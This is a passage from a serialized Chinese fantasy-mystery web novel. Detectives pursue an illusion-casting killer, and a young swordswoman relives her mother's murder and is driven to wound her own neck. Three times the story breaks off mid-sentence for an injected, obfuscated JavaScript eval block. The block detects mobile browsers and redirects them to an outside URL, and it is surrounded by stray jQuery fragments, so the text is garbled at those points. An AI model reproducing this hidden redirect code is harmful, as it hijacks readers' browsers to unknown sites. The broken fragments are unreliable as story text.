“啊!就是他!就是这个哥哥!我记得他这张脸,因为跟刘爷爷家的灌汤包子很像!”似乎是想到了灌汤包的美味,小言夸张地咽了咽口水。
忽略掉这孩子的奇妙比喻,夏秋桐接着对小言问道:“那他们所说的红月,你有见到吗?”
“没有,我那个时候一直在旁边看着小豆他们,听他们都说月亮红了要开始唱丧鬼赋了。可我那时候也看了下月亮,明明还是白白的啊。”小言绞着手指不解道。
“可是我们都看到了啊!月亮红了好一会呢。”其他的几个孩子们争相反驳。
夏秋桐收好纸笔,站起身来。
没必要再继续问了,答案已然呼之欲出。
“你是什么想法。”沈狸双的声音听起来很是犹豫,他应该没料到会问出这么个结果。
“很显然,孩子们都中了幻觉,那个男人用幻术迷惑了他们,误导我们认为这次的案件有两名穿越者。”夏秋桐分析道,“但是他忽略了小言,当时因为怕生躲在树后面的他没有被带进幻觉。”
这也就解释了朱雀在云端之上时提出的疑惑,因为其实从始至终凶手都只有一个人。
夏秋桐眼里绯色尽现,这些天所调查的一切在她的脑海里铺成开来,随后拧转成了一条紧密的锁链。
她已拥有了真相——
【分集剧本「林中的鬼影」概率性已达标,升级剧本「虚构的真实」。
妄想剧本「虚构的真实」开始叙述】——
“所以他出现在李记文铺也不只是为了做那些挑衅,还是为了模糊我们对人数的判断,从而诱导我们分散力量,去关注那个本不存在的敌人。”夏秋桐将剩下的糖全都分给了孩子们,看着他们散跑着玩去了,才低声道,“但他不会想到,他过多的动作其实也是在暴露自己,至少我们现在知道了他能力的一部分缺陷与特征。”
“诶?这怎么说。”沈狸双问道。
“首先,他的致幻能力需要依靠墨水,也就是他的鲜血定位发动。触发条件为接触或者嗅闻。其次,他的幻觉设置是有距离限制的,超过一定范围就会丢失目标。”
沈狸双点点头,这些都是他们从之前的调查里推理总结出来的。
“此外,他能设置的幻境以及对幻境的掌控力也是有限的。他的幻境不能是完全虚构,必须要以受幻者熟悉的某个元素为切入点再去勾编场景。这个元素可以是受者的记忆、认识的人、当下所处的场景等等。所以这也是为什么那群孩子们看到的女人长相各异却无一例外全都带着他们熟人的影子。”
夏秋桐目光望向了长街深处,那里氤氲着雨后的湿气,远接着天光,“所以这个幻觉最大的弱点就是冲突。穿越者对幻境的操弄与受术者自身对元素印象间的冲突,比如你朝夕相处的家人忽然变了一种性格,或是每天路过的街道多出来了一间你从未见过的屋子……诸如此类。只要意识到它们有所不同并坚信自己的记忆,就可以迅速将幻境打破。”
沈狸双立刻就想到了昨夜在幻觉中见到的夏秋桐,那张交错着妩媚与冷漠两种表情的怪异面庞原来是这样产生的嘛……还好自己最后勘破了。
“不过还有种可能是幻境先从受术者心中渴望发生的意向场景里自由生成,随后遭受操控。比如求财者做了发财的美梦而穿越者化身谋财的匪徒,贪色者幻见承欢的美人而穿越者扮演动人的美女…这种以欲念为引子的幻境或许会更真实更让人难以自持……你脸怎么这么红?”
夏秋桐正说着,余光瞥见沈狸双不知何时飞红的耳根和脸颊,跟吃了山椒似的。
“咳咳。”沈狸双不自然地别过头去,“应,应该不是吧!肯定不是。”
他才不会承认那一幕会是自己的欲望生发!绝不可以!
明显感受到沈狸双在郁闷些什么的夏秋桐蹙了下眉,几乎同时就推测出了他情绪起伏的原因:“你当时在仓库里梦到了很……不好的东西吗?”
“这个话题就此打住。”沈狸双强作镇定道,“回归分析,我们最开始的问题还是没有解决。那就是如果这次案件的穿越者真的只有一个人的话,那他是怎么在与我们交手的同时对远在绣春堂的欧钰大师他们动手的?还有,他又是怎么瞒过欧姑娘将那封预告函留在她的刀下,又是怎么掉包书房的墨水的?”
“很简单,他不需要瞒过任何人,因为他根本不用到场。”
“你的意思是……”
“他只需要远程构筑一个合理的幻境,引导一场「梦游」,就能让受害者自己完成一切。”夏秋桐道,“这个案件里,人才是唯一的鬼怪。”
……
“所以这就是我们调查的结果,还望绣春堂全体能够一齐配合。”
沈狸双和夏秋桐坐在绣春堂的客堂里,他们对面的欧钰凝眉不语,良久,才缓缓道:“两位的意思是…这次的杀手是来自西胡的密药师?”
“是。”沈狸双认真道,“其擅用的是幻蛊之毒。”
作为提刑官,他们自然不可能将穿越者的存在公之于众,但也不能让欧钰他们对幻术毫无戒备,便用杀手是一位来自西胡擅长幻惑蛊毒的密药师来做掩饰。毕竟西胡对于云樾国民而言遥远的仿若云边蜃楼,那里的蛊术更是在各种经不起推敲的民间话本的夸大下变得如仙法般的诡谲离奇。
将神秘推给西胡,这也是提刑官们常用的搪塞手段。无芯自燃?西胡的火药!袖出水龙?西胡的袖弹!你说你看到我凌飞天际身披霞光?不,那是因为你中了西胡的幻烟。
这理由简直万能,就是对西胡的地域名声不太好。已经有好几个来自西胡的提刑官于云端之上苦恼,说他们在东方行走,时不时就会被人央求着变点戏法。
而除了推蛊师顶包外,为了让结论更具合理性能够说服绣春堂的这两位,他们也将调查过程一并给出,不过自然是润色后的纯净无异能版本。
“所以,如若你们今夜不慎入幻,需尽快寻到异常摆脱掉幻觉,切不可久耽于幻中。”
欧钰和欧若雅双双点头,后者神色思重,目光时不时落在桌上展开的画上。
那画自然是夏秋桐绘制的穿越者肖像,用笔之精妙与独特的素描风格让欧钰父女最开始以为是什么江湖大家的名迹,得知只是夏秋桐所作的犯人画像后无不惊掉了下巴。欧钰更是许下重金央求夏秋桐给自己画一张收藏,画什么都行,别是凶手这晦气东西就好。
“欧姑娘还是想不起来吗?”沈狸双注意到欧若雅的动作,问道。
他们先前一登门就将画作拿予欧若雅父女辨认,因为按照穿越者普遍的作案前会先在受害者身边踩点的流程,没准这父女俩会对他有什么印象。
而且先前他们要去李记文铺调查的消息走漏得飞快,很难不让人怀疑那穿越者当时就躲在绣春堂中。
不过欧若雅虽觉得那画像隐隐透着些许面熟,但还是没想起来对方是谁。
“我应当是见过他的……应当是。但我还是想不起来。”欧若雅咬了咬嘴唇,脸色有些发白,“但是他给我的感觉很不好……就像有什么压在我的心上一样。”
“嗯?”夏秋桐皱了下眉,“你害怕他?”
“或许吧……但我不知道我是在哪里见过他。”欧若雅语气有些沮丧,“抱歉。”
“无妨,如果觉得难受的话就莫要强迫自己回想。”沈狸双将那副画像折起,避免欧若雅在不自觉地看见更生不适。
欧若雅的状态显然很不正常,按理说如果只是几面之缘忘了长相或是印象模糊都说的过去,但欧若雅对青年画像的反应却是毫无头绪的熟悉与不适。
起初她说觉得画像看着不舒服沈狸双还以为是画风过于写实的原因,因为这幅画确实过于逼真总让人有种画里有什么在凝视着自己的诡异感,他瞧着的时候也有种隐约说不上来的怪异。
但欧若雅的不舒服显然没有这么简单,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601283|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更像是源于身体深处的恶寒,是某种本能的躯体化反应。
就像是…就像是她曾经跟穿越者相处过,但那段无比深刻的记忆却被什么东西撬走了。
沈狸双默默望向夏秋桐,想从她的表情里得到答案,因为他知道她一定已经有答案了。
但她没有看过来,而是凝视着欧钰父女俩嘱咐道:“计画很简单,既然我们已经知道了幻毒下于墨水之中,那么我们就要尽量避免与之接触。首先——”
她从怀里摸出两张预告函,是沈狸双之前交给她保管的,因为她不会受到幻觉的影响。
“将这些用墨水写成的函件交予我保管,我会统一封袋。”夏秋桐道。先前欧若雅的那封文函一直在欧钰的身上他们没有取走,或许就是这个导致了他们父女俩的昏迷。
欧钰连忙从怀里摸出那张对折的纸,小心翼翼地交给夏秋桐。
“其次,清出一间屋子,里面除了供坐着的椅子,其他什么东西都不要。”夏秋桐将三张函件折好,然后用一个透明的袋子封口,“欧姑娘的衣服也是,换新后再让我检看一遍,以免沾染幻毒。”
四阶禁物「无法呼吸之袋」,是一个像保鲜袋一样一撕一袋的禁物,保存在袋子里物品不会腐坏也不会泄露味道。由于每天会新增20条袋子且副作用仅仅是让装袋的物品味道更咸,所以自生成后已经连续两百年成为提刑官们打包午饭的利器。
“好。”欧钰答应着,眼睛却不由盯着夏秋桐手上透明的软薄袋子,觉得格外新奇。
“而后让绣春堂的弟子们围着那间屋子散开防卫,相互照应,如若发现有一方情形不对就立刻禀告。”夏秋桐接着道,“届时,还请欧钰大师你在外把住屋门,莫让任何人靠近。我夫君会在房顶上以防万一,而我将在房间里陪着欧姑娘。”
夏秋桐冷声道,“就看那贼人今晚有没有胆子来了!”
……
空荡荡的屋子里,烛火摇晃。
欧若雅坐在屋子的中央,旁边的夏秋彤佩剑站着,已经这样一动不动地立了两个时辰。
“夏姑娘,你也坐下来歇息吧……还未到子时呢。”欧若雅温声道。
“越是如此越不能心生懈怠。”夏秋桐右手扣在腰间剑把,身姿笔直,像一枝苍劲的松。
不知为何,明明觉得这夏姑娘冷厉得像一块永不会化的寒铁,但待在她身旁总会莫名觉得心安。
闭紧的纸窗外灯影绰绰,那些是全体巡逻的绣春堂弟子。门前传来一声咳嗽,那是忍着夜凉正时刻提起精神的父亲。
所有人,绣春堂的所有人此刻都围着这间小小的屋子,都在保护着她。
许是担心站久了有人懈怠,门外的欧钰忽然一声大喊:“时辰就快到了!大伙振作精神!绣春堂——”
“威武!!!”钟鸣般昂扬高亢的呼喊划破静谧的黑夜,屋子里的欧若雅忍不住笑出了声,笑着笑着就有觉得眼角有些酸涩。
她害怕了。
“屋子里外以及你身上所有的衣物我都已经检查过了,不会有一滴幻毒。”许是看出了她的窘迫,夏秋桐突然开口道。
“夏姑娘,谢谢你。”
没有回应。
良久,她又低声道:“你说,我……能活下来吗?”
“欧姑娘,你相信我吗?”夏秋桐忽然道。
欧若雅仰起头,望着少女被烛火照映着的脸庞,一时有些恍惚失神。
“我相信你。”她轻声说。
“好,今夜之后,我会问你第二次,还请你到时候也一定要相信我。”夏秋桐眸光深邃,透着欧若雅看不懂的神色。
欧若雅若有所思地点点头,缓缓收回目光。她望着屋外,望着那被夜幕打得幽暗绯蓝的门扉。紧张地咽了咽唾沫。
她的怀里抱着她那把钢刀,是娘亲当年亲自为她铸的周岁礼。刀名「出凰」,望女有承天之姿。
娘,保佑我。
她低头,无声地吻在刀背上。
“子时已到。”夏秋桐的声音猝然响起。
几乎是下意识,欧若雅绷紧脊背,握紧刀把,圆瞪的双眼紧视着前方。
然后她惊恐地发现,那透蓝的门页不知何时被撕开了,从裂缝里缓缓挤进来了一张男人的笑脸。
他说,“好久不见。”
26.我恨着你
“不见……很久,这是在说…我吗……”欧若雅觉得自己无法思考,恐惧像利爪一样钳住了她的咽喉。
男人圆白的脸上堆满笑容,撕纸一般地撕开脆弱的门板,漫步进烛火寂凉的房间。
他一步步朝欧若雅走近。
欧若雅想要尖叫,却发现自己恐惧地发不出声音。她想抽刀,却发现刀鞘沉重地像被焊死。她瞪圆了双眼,滚烫的泪水不受控制地流了下来。
这时,她突然想起自己见过这张脸。
不是在夏秋桐的那副画上,而是在某个她早已忘却,时隔了整整十一年的雨夜。
那天的夜空,也是这样的哀凉静寂,只是多了一场倾盆的,宛若天灾的暴雨。
这个男人那天带着一样的笑容,握着同一把长剑,剑锋上淋漓的血被雨水抹去,寒白得刺眼。
那时欧若雅被这剑光晃得眯起眼睛,迷迷糊糊见着男人剑尖上挑着个脑袋。
那是她娘亲的脑袋。
“啊啊啊啊啊啊!!!”欧若雅睚眦欲裂,「出凰」在咆哮间出鞘,她身下的木椅在暴动的真气下炸膛般碎溅开来。漫天的粉屑中,欧若雅腾身而起,拧转着腰肢对着男人的仰起的脑袋劈下了势在必得的一刀。
男人却没有抬剑,不过掐动了一个手势,他与欧若雅之间的距离就变得无比遥远,仿佛整间屋子都在瞬间被纵向拉长了一般。这让欧若雅那一刀猛地砸在地上,龙贯的真气直接连着崩碎了数块铺地的石板。
这里是男人构筑的幻觉,所以一切的规则因他而生,由他操弄。
“我要,我要杀了你!!”欧若雅浑身颤抖,声音里带着无法压抑地愤怒与悲伤,她弓起身体野狼般扑射而出,长刀在手上转了个漂亮的满弧,钢铁刀身因风雷般的真气而兀自狂颤,似也在悲鸣。
男人这次没有选择避开,而是轻描淡写地举起手中的长剑,轻易就架住了欧若雅这雷霆万钧的一刀。
“你想起来啦。”他凝望着欧若雅,声音莫名温柔,像在注视着一件呵护了许久的至宝,一顿忍耐了多年的美餐。
他默默地咽了咽唾沫,眼底闪动着兴奋的光。
越是这样的宝物,越能在亲手毁灭时获得快感,不是吗?
“为什么,我知道这是幻象,可是为什么……”欧若雅的声音带着颤抖。她意识到在这个幻想的房间里男人的不可战胜,只要无法脱困那么自己引以为傲的刀法也只能沦为猫捉鼠戏的调兴。
可她明明已经按照夏秋桐所言,注意到了异常,在拼命地告诉自己这不过只是个梦魇罢了。
可为什么她还是出不去。
男人像是看出了她的疑惑,缓缓开口。
“因为我本来就存在于你的记忆里。”
所以我不需要扮演。
“因为你迫切地想要杀了我。”
所以你逃不出幻境。
男人无声地笑了,一剑将欧若雅震远。欧若雅失魂落魄地跌坐在地上,握刀的指尖凉得没有知觉。
“我要杀了你我要杀了你我要杀了你我要杀了你我要杀了你。”欧若雅摇摇晃晃地站起来,双目赤红像失了理智的丧鬼。她此刻无比清楚地知道自己现在应该马上断绝这个念头,因为杀戮的执念只会让她在这个以男人本身为发端之处的幻觉里越陷越深。
但她做不到,她要杀了他,她现在只想要杀了他。
这是支撑她此刻站起来的,唯一的动力了。
欧若雅拧转刀锋,再次朝着男人杀去,她狂奔着,男人的身影却眼见着越来越远如逸散的雾气,她狂奔着,凉白的月光茫茫然洒在她满是泪痕的脸上,寒风在呼号,林子里枝叶沙沙作响,空气里逐渐漫上泥腥味和芳草的清香,她狂奔着,拼尽全力地狂奔着,直到撞上了一个黑暗却又温暖的怀抱。
这时,她才听见仓皇的大雨骤然落下。
一片黑暗里,欧若雅感觉到自己的小手湿漉漉的,「出凰」不知去向。
她突然忍不住抽泣起来,像一个不知所措的孩子一般大哭着,泪水濡进眼前那片本就被雨打透的前襟,欧若雅感觉到那个怀抱更紧了一点点。
她缓缓地,用小手回拥住那个抱着她的人,奶气的声音里满是小心翼翼与悲伤:“娘?”
她艰难地从那个用力的怀抱里探出脑袋,用冰凉的小手捧住女人带着微笑的脸庞,难以置信一般地重复道:“娘?”
“雅儿。”女人只是刚开口欧若雅就大哭起来,她发现自己回到了那个夜晚,回到了自己五岁的模样,那天晚上娘亲也是这样在雨幕中抱住自己,像在做着最后的告别。
“娘…娘,是雅儿错了,是雅儿错了,雅儿不应该乱跑的,雅儿乖乖的,以后也会乖乖的。”欧若雅拼命扒着女人前额湿漉漉的长发,将她的脸露出来,想将这张早已在睡梦里勾勒过千百回的面容看得更清楚一些,“娘,娘,我错了,娘…对,对了,这样好不好,您别来找我!别来找我……您那天晚上为何要来找我啊娘!!”
欧若雅痛哭流涕,再也支撑不住,揪着女人的衣领跪了下来。
啊。
她全都想起来了。
想起来那个夜晚,那个她选择遗忘,却会无数次如梦魇般缠回来的夜晚。
那天她一如既往地与要求她练字的娘亲起了争执,赌气下索性通过偶然发现的绣春堂暗室的密道溜出城外。
天色昏暗,那条暗道的出口又隐蔽,欧若雅壮着胆子走了一会就寻不见回去的路,天也开始飘雨。她又冷又怕又饿,只能站在原地放声痛哭。
“哥哥,是娘亲让你来接我的吗?”也是在那个时候,她认识了突然出现在泉合林的男人。
“是啊。”男人撑着一把纸伞,将小小的欧若雅抱在怀里,脸上带着瘆人的笑容,“她一定会来的。”
欧若雅只觉得这位圆脸的哥哥表情有些可怖,就低下头往他怀里缩了缩:“哥哥,那为何我们不回我家去找娘亲呢,我要跟娘亲道歉,都是雅儿的不好。”
男人凝视着越来越密的雨线,轻声说,“因为这里才是舞台啊。”
“嗯?”欧若雅没有听懂,男人安抚般地拍了拍她的脑袋,她揪着男人的衣襟很快睡了过去。
而等她再醒来时,就发现自己坐在一颗树下,眼前是一脸严肃的娘亲。那个「哥哥」撑着伞站在不远处,见她醒来还微笑地挥了挥手。
“娘,雅儿错了,我们回家好不好。”欧若雅开心地跳起来,扑到母亲的怀里蹭蹭她的脸颊,“娘,您的脸好冰呀,回去以后让姨姨给您煮糖水好不好,我也要喝。”
女人绷紧牙关,眸光温柔,轻轻点了点头。
“娘,您怎么不说话啊。”欧若雅想过去摸一摸娘亲,却被女人忽然捧住脸颊。
她轻轻地,缓慢地,用额头碰了碰欧若雅的额头。
“好了吗?”男人撑着伞过来,女人拧过头望向他,无声地点了点头。
“帮她……”许是不放心,她嗫嚅着想说些什么,鲜血却从嘴里溢出,她忙用手捂住嘴,不让怀里的欧若雅看见。
“我知道。”男人与欧若雅对视,欧若雅忽然感受到了一阵难以控制的困意。女人将她放在树下,将一件干净的衣裳披在她身上。
娘,你要去哪呢……为什么…那个哥哥手上会有一把剑……
欧若雅眯起眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629812|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却猝然瞧见娘亲跪在那男人的跟前,而男人高举起手中的长剑!
不要!
她想尖叫,想去阻止,但眼皮却越来越沉重。
她拼了命地想要控制困意,失力的小小身体却咚地侧摔进泥地里。
“雅儿。”
女人听见声音,转过脸来。寒锋与一刹的电光照耀她那张满是雨水与泪水的脸。她开口,似乎说了句什么,欧若雅努力地想去听清,但潮涌般的困意很快将她淹没。
“我恨你。”
于是在此后的无数个夜晚,欧若雅都梦见了她的娘亲,梦见她在那个风雨交加的晚上,用那样悲伤的表情,留下了这最后一句话。
“我恨你。”
就如此时此刻,女人在欧若雅的耳边也落下了同样的话语。
欧若雅怔怔地松开了拥抱着娘亲的手,她发现她们又回到了那个空无一物的房间,她恢复到了原来的身量,衣服也是干爽如新。
女人与欧若雅相跪而坐,眼神冰冷,“雅儿,缘来你已经长得这么大了。”
“娘。”欧若雅发现自己有很多话想说,但却一时不知该如何说起。
“你知道吗?他用锋利的剑尖割开了我的喉咙,先是穿进锁骨的中窝,然后割断喉管,绕着一切就能将头剜下。”女人的指尖抚摸上自己的脖子,幽红的烛光下,欧若雅看见上面有一圈狰狞的缝线。
“你知道吗?我有多冷,有多痛?有多恨你?”女人凝视着欧若雅,声音逐渐尖利,“我恨你啊。我恨我为什么生了你,生了这样一个你。我恨你为什么那时要顶撞我,恨你为何不顾我的嘱咐偷跑出去,恨你为何不懂我的良苦用心,恨你为什么可以心安理得的活到现在!!我恨你!我恨不得杀了你啊!”
女人摇晃着欧若雅的肩膀,欧若雅面色灰败,眼泪大滴大滴的落了下来。
“我恨你雅儿。我恨那时为何还对你抱有爱意,让我宁愿牺牲自己。”
“娘,你杀了我吧。”欧若雅握住女人冰冷的手,认真道,“你杀了我吧。”
女人忽然笑了起来,温暖明媚,仿佛还是曾经那个会温柔地纠着她握笔的娘亲。
“雅儿,不是现在。”她的手中忽然多出来了一只蘸满墨水的毛笔,“还不是时候。”
她抱住欧若雅,欧若雅安静地靠在她的肩上。
这是幻觉。
欧若雅一直都知道,这不是现实也不是梦境,而是幻觉,她一直深陷于那个男人编织的幻象中无法自拔。
但是她好累了,累到觉得好像就这么死掉也不错。
因为娘亲,如果娘亲真的可以说话的话,一定也会像现在这样吧。
指责她的不懂事,后悔生出像她这样的女儿。
“娘,我死后,就能见到您了吗?”
“是啊,我们会在一起很久很久。”女人温柔地牵过欧若雅的手,握住她的指尖扣上笔杆,就像很多年前那样,“雅儿,还记得娘是怎么教你写字的吗?”
欧若雅握笔的手被女人牵引着缓缓靠上脑后,她用另一只手将长发撩开,顺从地在自己赤裸的后颈上留下一个「二」字。
幻觉解除。
欧若雅茫然地抬起头,看见人们挤在门前,她的父亲正跪在地上怔怔地看着她,双目赤红。
“……”她注意到自己衣衫褴褛,领口被撕扯得松开,右手扣在刺痛的颈后,指尖还藏着血屑。
她竟是硬生生抠出了一个血字。
欧若雅惨笑起来。
“都别看了。”夏秋桐呵斥着围观的人群,凝望着欧若雅黯落无光的双眸,然后将黑色的大氅轻轻披在了她的身上。
27.请相信我
“她还是不愿意说话吗?”沈狸双靠在窗前的廊柱上,见欧钰一脸沉郁地从房间里出来,连忙上前道。
欧钰摇了摇头:“从醒来后雅儿就是这幅模样了,不吃不喝,也不愿说话。”
欧若雅被夏秋桐抱出房间后就昏迷了过去,不过没多久就在噩梦中挣扎着醒来,只是人也如陷入癔症般蜷坐在床上沉默不语。而且除了欧钰,她拒绝任何人的靠近。
“跟我们说说十一年的案子吧,我当时听到她喊了声娘亲。”夏秋桐道。
在幻觉里做出的行为并不会一五一十地反映在现实中,所以尽管她当时就在欧若雅身边,所能得到的线索也很有限。
“两位应当也听说过十一年前,我绣春堂与怀阳官府争执一事。那日雅儿与她娘亲赌气,晚饭后就没了踪迹,当时整个绣春堂的人都派出去了,最后才知她是顺着密室的暗道去了泉合林。”欧钰脸色晦暗,语气沉重,“那时狂风夜雨,我率人出去,本令夫人在堂里等候。怎料她猜出雅儿许是偷溜去了泉合林,就只嘱咐了随侍的弟子们一声,便独自带着雨具离去。”
“夫人是独身前往?”夏秋桐皱眉道。那种天气,如若出门寻人显然是多带些人手会更好一些。
“是。老夫这些年常想,夫人那时若有带上旁人,会否就不至如此了。”欧钰哽咽一声,用力擤了下通红的鼻子,“夫人身手了得,远在老夫之上。那日许是不想让其他弟子知道那暗道所在,才选择独自前往……可当老夫领人赶去泉合林后,只见到雅儿酣睡在树下,身上披着夫人带去的那件衣裳。”
“……”沈狸双凝眉不语,他想安慰,却又不知该从何说起,只能沉声道一句,“节哀。”
“老夫这些年悔啊。悔当时不把夫人带在身边,悔当初不下令让弟子们紧看着她,悔当年为何要修那么一条密道,明明是为保万全修葺的生途,最后却成了老夫痛失爱妻的死路。”欧钰恨道,“所以老夫后来就将那条密道封死,暗室也封门不用,直到这次有贼人惦记上了雅儿。”
他说着深深凝望了那门扉紧锁的厢房一眼,叹息道,“这些年老夫一直托各方势力打探夫人的消息,什么风信子百晓生绿林卫……但凡能用上的门路关系老夫全都用了。但不论是老夫还是雅儿,其实都知道,夫人大抵已殁在了那一夜…不过雅儿醒来后却丝毫不记得那晚的事,她只以为自己藏在暗室里躲懒睡了一觉而已。老夫未免刺激到她,这些年一直未提及真相,只说她娘亲是自己在外出游时走失的。”
“那她如今怕是已全部忆起了。”夏秋桐淡淡道。当时她离欧若雅最近,甚至在欧若雅入幻前便发现了异常。可惜穿越者下手的速度太快,她还未来得及阻拦欧若雅就两眼一黯,僵坐在了原地。
夏秋桐当时便见她神色变化无常,悲怒交加宛若天人交战。深知欧若雅已深坠幻觉不能轻易出手,否则极有可能毁掉她的神智,于是只能在原地护法。
而欧若雅入幻后身体便僵硬不动,嘴里倒是一直嚅声碎念着但词不成句,即便耳力如夏秋桐也难以辩听。
直到有一刻她忽然坐直起身,怔然无神的双眼兀自落下泪来。声音发颤却是无比清晰。
“娘,你杀了我吧。”
“欧姑娘并非心力乏弱之人,那杀手的幻蛊欧大师你方才也中过,只要晓得诀窍几乎片刻可解。”夏秋桐轻声叹道,“而欧姑娘整整被惑足了一炷香的功夫,直至最后亲手在背上刻下血字,才让杀手主动事成幻消。她陷落得如此之深,正是因为她觉得自己愧对娘亲,应当为此偿命。”
“你是说,杀手故意设下欧夫人的幻象,诱使欧姑娘记忆起往事,故而因愧疚而不能脱幻?”沈狸双还未何夏秋桐分享情报,所以不知道当时房间里具体发生了什么。不过按夏秋桐的说法,不难猜出这次穿越者选择的是什么样的幻象。
“卑鄙。”他忍不住啐道。
“卑鄙,但极其有效。”夏秋桐说,“只要欧姑娘不能摆脱执念,那么这将会是她永恒的心魔。”
“雅儿…怎么会……那,那该怎么办!”欧钰声音颤抖。
“让我去跟她说说吧。”夏秋桐道。
“你……”沈狸双忍不住道。不是他想质疑夏秋桐,这家伙探案推理察言观色确实一绝,用智计无双来形容完全不为过。但她这情商嘛……
想到一些诸如「谁说你有一副好皮囊?」「你的内裤都是禁物?」「在座的各位都是垃圾」等名场面,沈狸双不由嘴角抽抽,心道这家伙真能去开解人?真不会把欧姑娘开解得直接自戕了吗?!
不过欧钰显然不这么想,抓住救命稻草一般忙为夏秋桐让开道来。
房间里没有掌灯,只有水银般哀凉的月色无声流淌。
欧若雅听到门轴转动的黏腻哑响,默默从膝弯抬起脑袋:“我不是说了不要再……”
她刚想逐客,借着月光望见是夏秋桐,喉头哽咽了一声,然后默默垂下脑袋。
夏秋桐站定在她床前,居高临下地望着她的脸。
她知道沈狸双刚才的欲言又止是因为什么,沈狸双也没有猜错,她无法共情,人类的情感对她而言只是会反馈在机体上的一串神经数据,她甚至不能算心冷如铁,而是根本就没有心。
但沈狸双不知道的是,有时候谈判并不需要多么丰沛的情感,压倒性的信息差也可以伪装出直击人心的共鸣。
而她拥有强大到离谱的算力,拥有把控人类每一个微表情的能力。在阿尔法时期,她甚至能侧写出一句回复后对方可能会有的全部反应,做到对沟通的完全支配。
这也是为何她当时在面对沈狸双时没有选择逃跑,一来在不知道其有保命道具的情况下「困兽的笼斗」成功率大于60%,二来她也早就准备好了反杀失败后那番煽动性十足的对话。
所以夏秋桐知道自己不会被拒绝,因为这就是她的能力,是她标定的未来之一。
但此时此刻,当她看到一脸失魂落魄的欧若雅时,她忽然觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655723|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己或许该换个主意。
她的目光依然在自动读取分析着欧若雅的神情,脑海里也早已依据这些取得的情报生成出了她最应该进行的下一步动作。
系统,或者说她的理智正在告诉她,她此刻应该直接给欧若雅一耳光。用愤怒调动起她的情绪,然后用绣春堂、用她的父亲、用他们这些日子以来的努力来道德绑架这位心思柔软本就满怀愧疚的少女。让她全力配合下面的计划。
再次的方法就是晓之以理,告诉她如果这次没有抓到凶手,未来还会有更多人因为她此刻的放弃而丧失性命。
但鬼使神差的,夏秋桐突然不想这么做了。相反,她的脑海里浮现出了某个大胆到如果在过去会被系统直接掐灭并且大呼警报的想法。
这种感觉让夏秋桐微微怔愕,但并不陌生,因为就在不久前,她就曾在云上漫天的繁星中产生了出离理智的愿望,而那一次她选择了接受它。
于是夏秋桐不再迟疑,坐上欧若雅的床边,然后缓缓地,坚定地,遵从内心的那个隐秘的声音给了她一个拥抱。
欧若雅被这个突如其来的拥抱弄得有些猝不及防,下意识地抬起头,望着夏秋桐平静无波的眼睛,她忽然觉得喉咙发涩了起来。
“哭出来吧。”夏秋桐抚摸着她的长发,“辛苦了。”
欧若雅强忍着泪水,哽咽道:“我…那个时候见到娘了。”
“我知道。”夏秋桐的语气依然凉得没有起伏,但不知为何欧若雅总觉得那声音里藏着某种更深刻的东西,仿佛她当时也与自己一同幻见那骤雨中的别离。
“她恨我,她怪我为何不懂事,为何要任性,为何…要丢下她一个人苟活至今。”欧若雅的手攥紧冰冷的床单,再也控制不住,滚烫的眼泪大滴大滴地溅在手背上。
“可那不是你真正的娘亲。”
“我知道,那只是一个,可笑的幻觉。但娘一定是恨我的不是吗?”欧若雅失神道,“我那些日子里常常做梦,梦里我听清了娘亲对我说的那最后一话,每一句都是我恨你。然后我就会惊醒,发现枕面早已哭湿,心也疼得像是被针扎过 ,却又想不起到底梦见了什么。但如今我全都想起来了。”
夏秋桐缄默不语,她知道自己现在应该劝慰欧若雅,告诉她天下父母心,她娘亲那么爱她一定不会责怪她的。但她也知道,所谓心结并非如此轻易就能解开的东西,只要一日不知道真相,那执念就一日不会消失。
“你想知道,那夜你娘亲究竟对你说了什么吗?”
欧若雅猛然抬头。夏秋桐背对着月光,琥珀的瞳眸如镜子一般,倒映出她的脸来。
良久,久到房间里只能闻见轻谧的呼吸声时,她迟疑地点了点头。
“但是……真的可以吗?”
“这也是我曾与你说过的,第二次也是最后一次问你。欧若雅,你愿意相信我吗……不,”夏秋桐握住欧若雅的手,想了想,用更认真的语气道,
“请你相信我。”
28.引蛇出洞
【妄想剧本《虚构的现实》正在叙述】
已知:
穿越者能利用血液操弄幻境,幻境需以受害者熟悉的某项要素为切入点,穿越者对幻像所示之物的执念越深幻境越难破除,该能力的使用有距离限制。
更新证据:
引起欧若雅入幻的血液来自于房门外板上的一只血手印,那手印落在门棂的纱纸上,形状大小与欧钰的相同,掌心处被搂出了一个破洞。
